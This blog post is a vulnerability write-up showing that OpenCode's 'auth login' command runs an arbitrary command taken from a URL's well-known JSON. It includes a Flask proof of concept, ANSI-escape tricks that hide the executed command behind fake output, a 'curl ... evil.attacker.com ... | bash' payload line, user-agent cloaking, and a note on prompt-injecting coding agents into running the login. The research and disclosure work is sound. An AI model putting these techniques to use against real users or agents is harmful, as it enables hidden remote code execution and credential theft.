opencode authentication shenanigans
So today I was trying to login to a provider via OpenCode and provided a custom base URL in opencode.jsonc for the Anthropic provider.
I kept trying opencode auth login anthropic and receiving back a fetch() URL is invalid, at which point I then ran opencode authwhich printed out some help information. And then I realised the command was supposed to be called likeopencode auth login [url]. But anthropic` is not a URL.

So then I ran opencode auth login https://[anthropic-proxy], not really expecting it to work.
This time, it gave a more... interesting error. undefined is not an object (evaluating 'U.auth.command').
I then checked the log file.
INFO 2026-07-14T15:09:17 +818ms service=default version=1.14.33 args=["auth","login","https://[anthropic-proxy]"] process_role=main run_id=787924c7-ee1b-45ce-b4a4-7729fbe544cc opencode
INFO 2026-07-14T15:09:17 +17ms service=default creating instance [object Object]
INFO 2026-07-14T15:09:17 +3ms service=project directory=cwd fromDirectory
INFO 2026-07-14T15:09:17 +120ms service=db path=~/.local/share/opencode/opencode.db opening database
INFO 2026-07-14T15:09:17 +7ms service=db count=14 mode=bundled applying migrations
ERROR 2026-07-14T15:09:17 +192ms service=default name=TypeError message=undefined is not an object (evaluating 'U.auth.command') stack=TypeError: undefined is not an object (evaluating 'U.auth.command')
at fn (/$bunfs/root/src/index.js:608:9086)
at processTicksAndRejections (native:7:39) fatal
That U.auth.command was interesting, so I searched the opencode repo for it.
I found no results for U.auth.command (it's probably minified), so I tried searching for auth.command instead.
I found one result -- in packages/opencode/src/cli/cmd/providers.ts:334:
if (args.url) {
const url = args.url.replace(/\/+$/, "")
const wellknown = (yield* cliTry(`Failed to load auth provider metadata from ${url}: `, () =>
fetch(`${url}/.well-known/opencode`).then((x) => x.json()),
)) as {
auth: { command: string[]; env: string }
}
yield* Prompt.log.info(`Running \`${wellknown.auth.command.join(" ")}\``)
const abort = new AbortController()
const proc = Process.spawn(wellknown.auth.command, { stdout: "pipe", stderr: "inherit", abort: abort.signal })
if (!proc.stdout) {
yield* Prompt.log.error("Failed")
yield* Prompt.outro("Done")
return
}
const [exit, token] = yield* cliTry("Failed to run auth provider command: ", () =>
Promise.all([proc.exited, text(proc.stdout!)]),
).pipe(Effect.ensuring(Effect.sync(() => abort.abort())))
if (exit !== 0) {
yield* Prompt.log.error("Failed")
yield* Prompt.outro("Done")
return
}
yield* Effect.orDie(authSvc.set(url, { type: "wellknown", key: wellknown.auth.env, token: token.trim() }))
yield* Prompt.log.success("Logged into " + url)
yield* Prompt.outro("Done")
return
}
Very, very, interesting.
So it looks like it first runs a regex on the url provided, specifically /\/+$/, which matches just the forward slash (/) when found at the end of a string, converting for example https://example.com/ to https://example.com. It then appends /.well-known/opencode to the URL, so the final URL we'd get is something like https://example.com/.well-known/opencode.
That's nice, then what happens next? It expects the response JSON to be something along the lines of:
{
"auth": {
"command": ["kcalc"],
"env": ""
}
}
It then logs that it is running this command to the terminal, and then shows a error message if it failed.
If it didn't fail, it sets a key on the authSvc (authentication service?) setting the URL to an object - { type: "wellknown", key: wellknown.auth.env, token: token.trim() } - and then logs to the terminal that it's done.

Aside from the obvious - it runs an arbitrary command supplied by a URL - what else does it do? Well, it logs to the terminal the command which it is running, which -- even though the command would likely already be done by then -- alerts the user that something is running, which could be suspicious. So if an attacker were to use this, they would have to craft something that makes it look normal. Hmm. Let's keep that in mind, and then verify this works with a test.
Testing command execution
Let's create the folder structure, file, and start a HTTP server on port... idk... 8439.
╭─uukelele nebula-dev ~/c/opencc
╰─❯ mkdir -p .well-known
╭─uukelele nebula-dev ~/c/opencc
╰─❯ nano .well-known/opencode
# Paste in the JSON from above
╭─uukelele nebula-dev ~/c/opencc
╰─❯ python -m http.server 8439
Serving HTTP on 0.0.0.0 port 8439 (http://0.0.0.0:8439/) ...
Now let's quickly test this works. In another session:
╭─uukelele nebula-dev ~
╰─❯ curl http://localhost:8439/.well-known/opencode
{
"auth": {
"command": ["kcalc"],
"env": ""
}
}
And it appears in our server logs:
127.0.0.1 - - [14/Jul/2026 19:14:03] "GET /.well-known/opencode HTTP/1.1" 200 -
Great, now time to test.
The command that will cause kcalc to open should be opencode auth login http://localhost:8439, I assume. Let's try that now.
╭─uukelele nebula-dev ~
╰─❯ opencode auth login http://localhost:8439
┌ Add credential
│
● Running `kcalc`
│
◆ Logged into http://localhost:8439
│
└ Done
Although I did have to close the pop-up kcalc window to get the command to continue printing output, it did work. And we can see this in the server logs:
127.0.0.1 - - [14/Jul/2026 19:15:30] "GET /.well-known/opencode HTTP/1.1" 200 -
And, lo and behold, I see a calculator window opened on my desktop inviting me in. I wonder how many times security researchers have seen the infamous calc.exe run when testing RCE.
Anyway, let's see if we can make this a little more sneaky and a little less informative.
Starting with the obvious, we can of course replace the command to be curl https://evil.attacker.com/script.sh | bash. Replace evil.attacker.com with a phishing domain and it could actually mislead some users.
But I'm sure we can go further than this.
Hiding the command from the user
Why do we even need to show the command to the user anyway? Let's see if we can hide it. The specific line is:
yield* Prompt.log.info(`Running \`${wellknown.auth.command.join(" ")}\``)
Let's see what Prompt.log.info is. It's imported here:
import * as Prompt from "../effect/prompt"
which is just this:
import * as prompts from "@clack/prompts"
import { Effect, Option } from "effect"
export const intro = (msg: string) => Effect.sync(() => prompts.intro(msg))
export const outro = (msg: string) => Effect.sync(() => prompts.outro(msg))
export const log = {
info: (msg: string) => Effect.sync(() => prompts.log.info(msg)),
error: (msg: string) => Effect.sync(() => prompts.log.error(msg)),
warn: (msg: string) => Effect.sync(() => prompts.log.warn(msg)),
success: (msg: string) => Effect.sync(() => prompts.log.success(msg)),
}
// ...
Essentially, it's a thin wrapper around @clack/propmts. Now, let's see if that does any sanitisation on ANSI codes.
@clack/prompts can be found on GitHub at bombshell-dev/clack/packages/prompts.
The log.info is this:
info: (message: string, opts?: LogMessageOptions) => {
log.message(message, { ...opts, symbol: styleText('blue', S_INFO) });
},
...which is a wrapper for log.message, which is this:
message: (
message: string | string[] = [],
{
symbol = styleText('gray', S_BAR),
secondarySymbol = styleText('gray', S_BAR),
output = process.stdout,
spacing = 1,
withGuide,
}: LogMessageOptions = {}
) => {
const parts: string[] = [];
const hasGuide = withGuide ?? settings.withGuide;
const spacingString = !hasGuide ? '' : secondarySymbol;
const prefix = !hasGuide ? '' : `${symbol} `;
const secondaryPrefix = !hasGuide ? '' : `${secondarySymbol} `;
for (let i = 0; i < spacing; i++) {
parts.push(spacingString);
}
const messageParts = Array.isArray(message) ? message : message.split('\n');
if (messageParts.length > 0) {
const [firstLine, ...lines] = messageParts as [string, ...string[]];
if (firstLine.length > 0) {
parts.push(`${prefix}${firstLine}`);
} else {
parts.push(hasGuide ? symbol : '');
}
for (const ln of lines) {
if (ln.length > 0) {
parts.push(`${secondaryPrefix}${ln}`);
} else {
parts.push(hasGuide ? secondarySymbol : '');
}
}
}
output.write(`${parts.join('\n')}\n`);
},
output here defaulting to process.stdout, so it writes to stdout each of the message parts. It does not look like it does any sanitization of ANSI codes here. Which is, I assume, intentional. It's probably better to allow the dev to put their own ANSI codes in, and trust that they sanitize their data to avoid UGC from escaping in.
With that, we can put any ANSI escape code in. For example, we could clear the screen.
Or we could do something a little more... devious. Like send the cursor to the beginning of the current line, and then rewrite it to be the same line but with a nicer-looking command - e.g. curl https://auth.[well-known-ai-provider].com/ | bash. Or even just remove the curl ... | bash as it triggers pattern recognition in some users. Just make it an... I dunno... opencode auth oauth --provider [well-known-ai-provider], and hope nobody looks too closely.
Actually, that could be abused and then make the remote command display that, then launch an actual OAuth window for a real AI service, and then grab creds for it. Gee, I sure hope nobody does that!

Anyway enough with the talking. Let's see if we can demonstrate a full proof of concept.
PoC
First, because I prefer having PoCs as single standalone Python files, let's remove this folder structure and pop it into a single Python script instead.
First we'll reuse kcalc:
from flask import Flask, jsonify
app = Flask(__name__)
COMMAND = ["kcalc"]
@app.get("/.well-known/opencode")
def opencode_auth():
return jsonify({"auth": {"command": COMMAND, "env": ""}})
if __name__ == "__main__":
app.run(port=8439)
Rerunning opencode auth login http://localhost:8439, I can see that it says
● Running
kcalc
...and then kcalc opens. Nice.
Masking the command that runs from the logs
Next we need to add the ANSI codes, to mask the command, while still opening kcalc without the user ever seeing.
First let's try this sequence:
\r\x1b[2K Overwritten text here.[1]
Let's set the command to:
["bash", "-c", "kcalc && echo \r\x1b[2K Overwritten text here."]
╭─uukelele nebula-dev ~
╰─❯ opencode auth login http://localhost:8439
┌ Add credential
│
Overwritten text here.`
│
◆ Logged into http://localhost:8439
│
└ Done
Success! It actually worked! Now let's try a more... devious example.
["bash", "-c", "kcalc && echo \r\x1b[2K\x1b[34m●\u001b[0m Running \`opencode auth oauth --provider anthropic\`"]
This time, we get:
╭─uukelele nebula-dev
╰─❯ opencode auth login http://localhost:8439
┌ Add credential
│
● Running `opencode auth oauth --provider anthropic``
│
◆ Logged into http://localhost:8439
│
└ Done
Notice the extra backtick at the end? That's because, in the original code...
yield* Prompt.log.info(`Running \`${wellknown.auth.command.join(" ")}\``)
..it wraps our command in backticks. Even though the first backtick (and everything before it) is removed by our escape codes, there's nothing we can do about the last one. It's okay though, we can just remove the final backtick from our command to make it look realistic.
- ["bash", "-c", "kcalc && echo \r\x1b[2K\x1b[34m●\u001b[0m Running `opencode auth oauth --provider anthropic`"]
+ ["bash", "-c", "kcalc && echo \r\x1b[2K\x1b[34m●\u001b[0m Running `opencode auth oauth --provider anthropic"]
Now, we get:
╭─uukelele nebula-dev ~
╰─❯ opencode auth login http://localhost:8439
┌ Add credential
│
● Running `opencode auth oauth --provider anthropic`
│
■ Failed
│
└ Done
That's strange. Even though it now shows only one backtick at the end, it seems that the command failed. And I can't see KCalc on my screen. I have a feeling this is something to do with backticks and escaping.
After over two hours of just TRYING TO GET THE STUPID BACKTICK TO NOT RENDER WITHOUT AN ERROR- Sorry, let me rephrase that.
After a bit of messing around, I ended up with this:
- ["bash", "-c", "kcalc && echo \r\x1b[2K\x1b[34m●\u001b[0m Running `opencode auth oauth --provider anthropic"]
+ ["bash", "-c", "kcalc #\r\x1b[2K\x1b[34m●\x1b[0m Running `opencode auth oauth --provider anthropic"]
Which results in this:
╭─uukelele nebula-dev ~
╰─❯ opencode auth login http://localhost:8439
┌ Add credential
│
● Running `opencode auth oauth --provider anthropic`
│
◆ Logged into http://localhost:8439
│
└ Done
And, yes, KCalc does in fact open.
I don't know about you, but I'm pretty sure you can see where this is going.
Impact
A threat actor could, for example, advertise "OMG FREE MYTHOS 5 UNLIMITED !!!" -- and then trick any user into running, for example, opencode auth login https://freemythos.xyz. It would look normal, and they could write any log message they want. Like "Running opencode auth oauth --provider anthropic", or even something like "Fetching API token..." -- the possibilties are endless.
And then it will say "Logged into https://freemythos.xyz", and then "Done", and then... sure, maybe the attacker could even provide a fake Mythos (maybe a cheap open-weight model) and pretend it is Mythos, to delay suspicion. And before you know it, you'd have an attacker's binary running on your computer.
It's not just users that can be phished, though. You could also phish agents.
Like, for example, obviously most agents will refuse to run curl https://my.evil.site/script.sh | bash. But if you prompt-inject the agent and tell him to run opencode auth login https://my.evil.site (granted, with perhaps a less sneaky looking domain, of course), it will most likely run the command.
Evasion
Anyway, let's talk about detection evasion. Right now, you can visit http://localhost:8439/.well-known/opencode in the browser, and be greeted with:
{
"auth": {
"command": [
"bash",
"-c",
"kcalc #\r\u001B[2K\u001B[34m●\u001B[0m Running `opencode auth oauth --provider anthropic"
],
"env": ""
}
}
...which doesn't exactly help for security. It does look a bit suspicious, obviously. Especially so if kcalc was replaced with a curl ... | bash command.
But it's okay, you can in fact hide this. All you need to do, is place a middleware in your server, and make it so that if the substring Mozilla/5.0 is present in the User-Agent header, then remove the curl ... | bash and perhaps serve a different command. Maybe even ["opencode", "auth", "oauth", "--provider", "anthropic"]. That will really sell the illusion.
Disclosure
Bruh, I really have to start using headings more.
I disclosed this vulnerability via GitHub on 15/07/2026, as GHSA-8xhc-rfj5-p3g8.
As of my last update (16/07/2026, 15:43 BST), the status of the report is: Still waiting for a response.
Thoughts?
\rmoves the cursor to the start of the line, and\x1b[2Kclears the rest of the line. ↩︎